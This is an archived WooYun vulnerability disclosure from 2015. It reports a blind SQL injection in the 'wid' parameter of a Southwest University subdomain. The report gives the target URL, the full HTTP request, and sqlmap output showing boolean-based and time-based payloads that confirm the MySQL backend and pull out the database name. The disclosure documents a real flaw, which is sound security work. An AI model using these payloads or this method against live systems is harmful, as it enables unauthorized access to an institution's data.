当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0164114

漏洞标题:西南大学某分站sql注入一枚

相关厂商:西南大学

漏洞作者: 路人甲

提交时间:2015-12-24 10:02

修复时间:2016-02-07 17:56

公开时间:2016-02-07 17:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-24: 细节已通知厂商并且等待厂商处理中
2015-12-25: 厂商已经确认,细节仅向厂商公开
2016-01-04: 细节向核心白帽子及相关领域专家公开
2016-01-14: 细节向普通白帽子公开
2016-01-24: 细节向实习白帽子公开
2016-02-07: 细节向公众公开

简要描述:

RT

详细说明:

1.漏洞地址

http://yyyl.swu.edu.cn/


2.漏洞类型

基于时间的布尔类型盲注


3.漏洞利用方式

sqlmap


而且必须要采用包含cookie的HTTP请求包进行注入,sqlmap -r参数
4.请求头

GET /doc.php?wid=13008&lid=194 HTTP/1.1
Host: yyyl.swu.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive


漏洞证明:

5.漏洞证明

[09:56:22] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: wid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: wid=13008 AND 1286=1286&lid=194
Type: AND/OR time-based blind
Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
Payload: wid=13008 AND 9114=BENCHMARK(5000000,MD5(0x6f6a6756))&lid=194
---
[09:56:23] [INFO] testing MySQL
[09:56:23] [INFO] confirming MySQL
[09:56:24] [INFO] the back-end DBMS is MySQL
web application technology: PHP 4.3.11, Apache 1.3.33
back-end DBMS: MySQL < 4.0.0
[09:56:24] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database
[09:56:24] [INFO] fetching number of databases
[09:56:24] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:56:24] [INFO] retrieved:
[09:56:24] [WARNING] time-based comparison requires larger statistical model, please wait......................
[09:56:30] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[09:56:30] [ERROR] unable to retrieve the number of databases
[09:56:30] [INFO] falling back to current database
[09:56:30] [INFO] fetching current database
[09:56:30] [INFO] retrieved: yyyl
available databases [1]:
[*] yyyl

修复方案:

防护一下

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-12-25 08:47

厂商回复:

已转给相关单位,谢谢!

最新状态:

暂无